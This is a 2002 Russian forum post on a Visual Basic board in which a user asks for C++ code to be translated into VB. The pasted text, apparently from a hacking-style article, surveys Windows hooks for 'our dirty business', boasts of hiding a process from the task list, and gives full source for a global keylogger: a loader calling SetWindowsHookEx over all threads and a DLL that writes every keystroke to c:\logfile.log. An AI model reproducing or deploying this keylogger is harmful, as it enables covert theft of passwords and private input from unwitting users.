WWW.ИСХОДНИКИ.РУ cpp.sources.ru
java.sources.ru web.sources.ru soft.sources.ru
jdbc.sources.ru asp.sources.ru api.sources.ru

  Форум на исходниках
  Visual Basic
  Кто нибудь может перевести этот код VC++ на VB?

СПРОСИТЬ  ОТВЕТИТЬ
профайл | регистрация | faq

Автор Тема:   Кто нибудь может перевести этот код VC++ на VB?
AlexR опубликован 06-02-2002 13:42 MSK   Click Here to See the Profile for AlexR   Click Here to Email AlexR  
Нужно перевести этот код VC++ на VB. Я, к сожалению, Си не знаю :(( Может кто-нибудь переведёт...

WH_CALLWNDPROC - перехват всех сообщений, причём до того как они были посланы системой конкретному окну (это юзает утилита Spy++, входящая в состав Visual C++).

WH_JOURNALRECORD и WH_JOURNALPLAYBACK - сладкая парочка для записи и воспроизведения макросов (в основном использовалась мной для беспредельного глумления над существами с именем Default User :)

WH_SHELL - представь, юзер давит Ctrl+Alt+Del, а вместо Task Manager выполняется твоя функция!

WH_KEYBOARD - ну тут всё и так понятно (используется в прилагаемых исходниках с известной целью :)

Я перечислил не все возможности этой кульной функции, а только те, которые можно поюзать в нашем грязном деле :) Об остальных читай мои статьи под номером NEXT.

Но есть у этой функции своя беда - один из её параметров [dwThreadId] должен указывать на поток, сообщения к которому и следует перехватывать. Если ты укажешь ID главного потока своей проги - получишь клавиатурный ввод только с него, а если этот параметр будет 0 (все потоки) и функция обработки будет находиться прямо внутри твоей проги - нифига не получишь, потому что этот поток будет также принадлежать ПРОЦЕССУ твоей проги (только, к тому же, не будет главным потоком :) Выход из ситуации - создать новый ПРОЦЕСС. Для чего из проги вызывается DLL (при желании можно и EXE) с этой самой “шпионской функцией” ;) Заметь - эту DLL не видно не только по Ctrl+Alt+Del, но и в списке процессов, а всё потому, что новый процесс - “дитё” главного процесса приложения (вот тебе и идея, сыроватая правда, как из процессов проги прятать ;)

А вот и долгожданные исходники - два отдельных проекта;

1) Основная прога (File->New Application, затем удалить “форму” и Unit1.cpp, затем выбрать Project->View Source):

//--------------------------
/* <*.h> - заголовочные файлы, чтобы юзать функции WinAPI и не только их */
#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
// параметры и их тип в скобках указывать не надо - и так работает :)
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию

// Юзаем нашу DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");

// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );

while(1) {}; // Зацикливаем прогу, чтобы DLL висела в памяти
}
//--------------------------

2) DLL (File->New..., затем выбрать “DLL”) - обработчик сообщений от клавиатуры:

//--------------------------
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//--------------------------
// Объявляем функцию для того, чтобы основная прога могла её поюзать из DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// "Шпионская" функция
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f; // Указатель на файл

// Открываем файл с логом на добавление, если его нет - создаём
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
// Просто пишем код нажатой кнопки в файл, но
// не отслеживаются заглавные/прописные,
// а также нажатие и удерживание одной кнопки.
// (для этого анализируй параметр lParam)
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}

/* Перед выходом из функции - вызываем нормальный обработчик
сообщений от клавы (что толку от шпиона, если остальные
проги перестанут на клаву реагировать ? :)
*/
return CallNextHookEx(NULL, code, wParam, lParam);
}
//--------------------------
// Функция входа в DLL - её не оставляем как есть
//--------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
//--------------------------

СПРОСИТЬ  ОТВЕТИТЬ
Перейти:


E-mail | WWW.ИСХОДНИКИ.RU

Powered by: Ultimate Bulletin Board, Freeware Version 5.10a
Purchase our Licensed Version- which adds many more features!
© Infopop Corporation (formerly Madrona Park, Inc.), 1998 - 2000.